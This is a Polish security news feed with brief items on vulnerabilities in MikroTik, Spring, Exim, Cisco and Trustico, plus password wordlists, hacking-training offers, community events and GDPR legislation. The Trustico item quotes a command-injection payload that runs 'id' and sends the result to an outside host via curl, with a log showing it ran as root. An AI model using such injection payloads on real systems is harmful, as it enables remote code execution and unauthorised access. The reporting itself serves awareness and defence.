Aktualności

Jeśli ktoś używa urządzeń Mikrotika, warto żeby spojrzał czy nie udostępnia na nim protokołu SMB. W momencie nawiązania sesji SMB (a przed uwierzytelnieniem) mamy buffer overflow, który skutkuje wykonaniem kodu na urządzeniu. Dostępny jest PoC exploita oraz łatki – od Mikrotika. –ms

Całość tutaj. Największa paczka to 5 GB (skompresowana 7z); do pobrania są różne listy posortowane pod względem popularności danego hasła. Cały czas prym wiedzie 123456. Pamiętajcie żeby używać tylko w legalnych celach. –ms

Podatność została już załatana jakiś czas temu, ale więcej informacji pojawia się teraz. W największym skrócie, wysyłamy odpowiednio przygotowanego JSON-a i bum – mamy wykonanie kodu (poprzez wstrzyknięcie kawałka kodu w Spring Expression Language – swoją drogą mamy o tym poglądowy film w serwisie rozwal.to): This vulnerability in Spring Data REST…

Ostatnio dodaliśmy kilka nowych zadań do rozwal.to (SQLi/XSS/NoSQLi – obecnie dostępnych jest prawie 40 zadań do hackowania, z których większość ma podpowiedzi i pełne odpowiedzi – można je więc przejść na spokojnie, w swoim tempie). Mamy też o wiele lepsze ceny: 9.99 PLN / 7 dni lub 34.99 PLN za…

Premiera ten funkcji była już bodaj kilka razy przekładana, ale w końcu jest dostępna: We’re pleased to announce that ACMEv2 and wildcard certificate support is live! With today’s new features we’re continuing to break down barriers for HTTPS adoption across the Web by making it even easier for every website…

W obecnych czasach rzadko się to zdarza – popularny serwer pocztowy, dostępny od wielu lat, podatny na wykonanie kodu (bez uwierzytelnienia). Tak to niestety wygląda w przypadku Exima – tutaj opis exploita, a tutaj z kolei nieco wcześniejsza informacja o łacie. Jeśli nie macie jeszcze zaktualizowanej wersji (minimum 4.90.1) – radzę…

Cisco załatało niedawno co najmniej dwa krytyczne błędy, jeden z nich to zahardcowane hasło na ssh w: Cisco Prime Collaboration Provisioning. Wprawdzie nie daje ono roota, ale istnieje też możliwość podniesienia uprawnień. Drugi problem to już bezpośrednia możliwość dostępu na roota (przecież web serwer musi pracować z uprawnieniami root, prawda? :)…

O tym fakcie poinformowali sami twórcy Kali Linuksa. W cytowanym poście macie m.in. filmy pokazujące całą (dość prostą) procedurę instalacji. To już kolejny ukłon Microsoftu do kierunku świata Linuksa/Uniksa – ostatnio pisaliśmy o możliwości instalacji na Windows klienta OpenSSH. –ms

Chodzi o Trustico, który dostarczał certyfikaty SSL m.in. „pechowemu” Equifax. Jak wyglądał exploit dający roota? Banalnie – w miejscu gdzie sprawdzaliśmy domenę wystarczyło wpisać: $(curl https://domain/`id`) Efekt? Porażający, bo poza wykonaniem kodu, widać że wykonuje się on jako root: 35.190.140.214 – [01/Mar/2018:09:52:14 -0500] „GET /uid=0(root) HTTP/1.1” 404 209 „-” „curl/7.29.0”…

Nie czekamy już dłużej i udostępniliśmy dla wszystkich rozwal.to premium. Na początek można się „pobawić” przez dwa dni zupełnie bezpłatnie (pierwszych 100 osób; kod rabatowy: rozwal-premiera-start kilka pierwszych osób dostanie dużą ilość dni na start). Mimo załatania około 150 błędów, pewnie jeszcze parę można wykryć – szczególnie, że na start…

Jesteśmy już po drugiej edycji Hacking Party w Poznaniu. Tutaj mieliśmy kilka – jak zwykle praktycznych – prezentacji. Sala, którą zapewnił nam Uniwersytet im. Adama Mickiewicza – była mocno zapełniona – przybyło około 300 osób! Tym razem – zgodnie z sugestiami zaczekaliśmy jedynie 5 minut na spóźnialskich, a po prezentacjach…

… a to wszystko już 28.02 w Poznaniu. Startujemy o 14:30 (można być o 14:00) – Wydział Prawa i Administracji UAM Poznań Al. Niepodległości 53, Poznań Auditorium Maximum. Pełna agenda i zapisy dostępne są tutaj. To nasze kolejne sekurak hacking party, które tym razem wspiera Uniwersytet im. Adama Mickiewicza w Poznaniu…

Publikuję tego posta, bo platforma rozwal.to premium już działa poprawnie – tj. m.in. akceptuje płatności (karta/przelew/szybkie transfery typu mTransfer – obsługuje nas PayU). Zadowoleni powinni być też użytkownicy firmowi – system wystawia faktury VAT (i dla firm i dla osób prywatnych). Można już rejestrować konta, choć zaczniemy je stopniowo akceptować…

Tym razem spróbowaliśmy formuły ze startem we wcześniejszej godzinie (15:00) – i dla dużej liczby osób była to godzina optymalna. Pojawiło się ~450 osób, co przy założeniu że nie było darmowych wejść – jest całkiem niezłym wynikiem. Postawiliśmy też na więcej prezentacji, ale krótszych (opis wszystkich siedmiu macie tutaj). Sami…

12 lutego 2018 została udostępniona przez Ministerstwo Cyfryzacji długo oczekiwana aktualizacja Projektu Ustawy o Ochronie Danych Osobowych (datowana daniem 8 lutego 2018). Celem nadrzędnym zmian w Polskim porządku prawnym dotyczącym ochrony danych osobowych jest wprowadzenie Rozporządzenia o Ochronie Danych Osobowych (RODO) bazującego na Rozporządzeniu Parlamentu Europejskiego i Rady (UE) 2016/679….